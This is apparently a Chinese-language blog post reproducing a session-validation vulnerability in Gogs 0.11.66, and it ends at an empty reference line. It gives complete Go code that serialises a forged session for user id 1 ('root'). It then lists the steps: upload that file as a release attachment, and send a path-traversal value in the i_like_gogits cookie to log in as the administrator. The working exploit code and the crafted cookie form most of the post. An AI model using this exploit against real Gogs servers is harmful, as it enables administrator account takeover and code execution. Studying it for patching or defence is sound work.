漏洞背景
Gogs(又名Go Git Service)是Gogs团队开发的一个基于Go语言的自助Git托管服务,它支持创建、迁移公开/私有仓库,添加、删除仓库协作者等。 Gogs 0.11.66版本中存在安全漏洞,该漏洞源于程序没有正确验证会话ID。远程攻击者可利用该漏洞执行代码。
漏洞复现
使用Gob序列化生成session文件:
package main
import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"io/ioutil"
"os"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func main() {
var uid int64 = 1
obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
err = ioutil.WriteFile("data", data, os.O_CREATE|os.O_WRONLY)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}
在这里就已经蒙一半了,网上复现也是少数说明如何操作,我就懒的找了。到这里就只描述一下步骤:
- 生成的session是一个文件,注册一个普通用户账户,创建项目,并在“版本发布”页面上传它。
- 通过这个附件的URL,得知这个文件的文件名,类似:
./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10
- 然后,构造
Cookie:i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10
,访问即可发现已经成功登录id=1的用户(即管理员root)
详细
请参考以下文章: